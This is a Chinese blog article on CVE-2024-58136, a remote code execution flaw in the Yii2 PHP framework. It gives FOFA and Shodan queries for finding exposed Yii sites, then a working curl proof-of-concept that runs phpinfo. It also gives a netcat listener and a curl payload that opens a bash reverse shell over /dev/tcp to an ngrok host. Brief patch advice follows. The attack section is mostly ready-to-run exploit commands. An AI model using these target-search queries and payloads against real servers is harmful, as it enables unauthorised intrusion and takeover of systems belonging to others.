网站首页 > 技术文章 正文
CVE-2024-58136是Yii2 PHP 框架中的一个高危远程代码执行 (RCE)漏洞。该漏洞源于密钥验证不当,允许攻击者使用受控参数实例化任意 PHP 类,从而导致 RCE。
本文演示了如何在实际应用程序中发现此漏洞,如何获取 Recevese Shell 和缓解措施。
CVE-2024-58136 的根本原因
参考:
https://attackerkb.com/topics/U2DdokjYhB/cve-2024-58136/rapid7-analysis
CVE-2024-58136 — RCE PoC利用
发现目标
1. FOFA 查询
title= “yii” || title = “X-Powered-By: Yii”
2. Shodan查询
在 Shodan 中使用它:
http.headers:“X-Powered-By: Yii”
3.PoC漏洞
步骤 1:phpinfo() 测试确认 RCE
curl -k -X POST https://target/index.php \
-H "Content-Type: application/json" \
-d '{"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "phpinfo"}}'
检查响应是否包含phpinfo()、PHP Version等,探测是否有此漏洞。
步骤2:反向Shell载荷
设置和监听器
nc -lvnp 9999
CVE-2024-58136 — RCE PoC
curl -k -X POST https://sub.domain.tld/index.php \
-H "Content-Type: application/json" \
-d '{"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "system", "stream": "bash -c '\''bash -i >& /dev/tcp/x.tcp.xx.ngrok.io/9999 0>&1'\''"}}'
补丁
- 将 Yii2 升级到2.0.52或更高版本
- 添加服务器端 WAF 来阻止行为键__class,as例如on
- 避免接受来自不受信任的客户端的原始 JSON。
猜你喜欢
- 2025-09-29 CTF中的命令执行绕过_ctf上传绕过
- 2025-09-29 白帽黑客如何通过dirsearch脚本工具扫描和收集网站敏感文件
- 2024-08-07 PHP-高性能PHP应用开发(2)一起来学习,你准备好了吗?
- 2024-08-07 PHP入门之环境搭建(一)(php 环境搭建)
- 2024-08-07 Phalcon:用C语言写成的PHP5框架(php c框架)
- 2024-08-07 php操作shell函数(php shell_exec())
- 2024-08-07 Jenkins 发布PHP项目之二 自动化部署
- 2024-08-07 php的断点调试xdebug(php 断点)
- 2024-08-07 一起学习PHP中GD库的使用(二)(php gd库)
- 2024-08-07 初学者指南——文件包含(LFI / RFI)
- 最近发表
- 标签列表
-
- cmd/c (90)
- c++中::是什么意思 (84)
- 标签用于 (71)
- 主键只能有一个吗 (77)
- c#console.writeline不显示 (95)
- pythoncase语句 (88)
- es6includes (74)
- sqlset (76)
- apt-getinstall-y (100)
- node_modules怎么生成 (87)
- chromepost (71)
- flexdirection (73)
- c++int转char (80)
- mysqlany_value (79)
- static函数和普通函数 (84)
- el-date-picker开始日期早于结束日期 (76)
- js判断是否是json字符串 (75)
- c语言min函数头文件 (77)
- asynccallback (87)
- localstorage.removeitem (74)
- vector线程安全吗 (70)
- java (73)
- js数组插入 (83)
- mac安装java (72)
- 无效的列索引 (74)